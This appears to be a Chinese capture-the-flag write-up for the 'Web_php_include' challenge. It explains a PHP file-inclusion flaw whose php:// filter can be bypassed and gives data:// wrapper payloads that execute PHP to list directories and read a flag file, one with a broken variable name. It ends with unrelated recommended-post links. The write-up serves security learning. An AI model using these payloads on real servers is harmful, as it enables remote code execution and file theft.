32.攻防世界Web_php_include

进入场景

echo $_GET['hello'] 直接将用户通过 GET 方法提交的 hello 参数值输出到页面上,这可能会导致 XSS(跨站脚本攻击)漏洞。

在下面的代码中,虽然对 page 中的 php:// 进行了替换处理,但是仍然存在文件包含漏洞的风险。如果我们能够通过 _GET['page'] 传入一个恶意的文件路径,就可能导致服务器上的任意文件被包含和执行

"file://"是一种用于指定本地文件系统中文件的URI(统一资源标识符)协议。通过"file://"协议,可以在浏览器或其他支持该协议的应用程序中访问本地文件

"data://"协议是 PHP 中的一种数据流协议,它允许将数据作为文件来读取。该协议的语法如下:data:(<mediatype>)(;base64),<data>,其中,<mediatype>是可选的媒体类型,<data>是数据内容。

测试

/?page=data://text/plain,<?php phpinfo()?>

目录路径

/?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT']; ?>

目录文件

/?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>

读取文件内容

/?page=data://text/plain,<?php a=file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars(a); ?>

相关推荐
优雅的潮叭17 分钟前
c++ 学习笔记之 shared_ptr
c++·笔记·学习
鄭在秀17 分钟前
【SD-WAN介绍】
网络·网络安全·sd-wan
claider31 分钟前
Vim User Manual 阅读笔记 usr_08.txt Splitting windows 窗口分割
笔记·编辑器·vim
am心36 分钟前
学习笔记-用户下单
笔记·学习
微露清风1 小时前
系统性学习C++-第二十二讲-C++11
java·c++·学习
lifejump1 小时前
Pikachu | XXE
服务器·web安全·网络安全·安全性测试
进阶小白猿1 小时前
Java技术八股学习Day20
java·开发语言·学习
renhongxia12 小时前
学习基于数字孪生的工艺参数优化
学习
gjf05_052 小时前
人该怎样活着呢?版本68.6
学习
蝎蟹居2 小时前
GBT 4706.1-2024逐句解读系列(26) 第7.6条款:正确使用符号标识
人工智能·单片机·嵌入式硬件·物联网·安全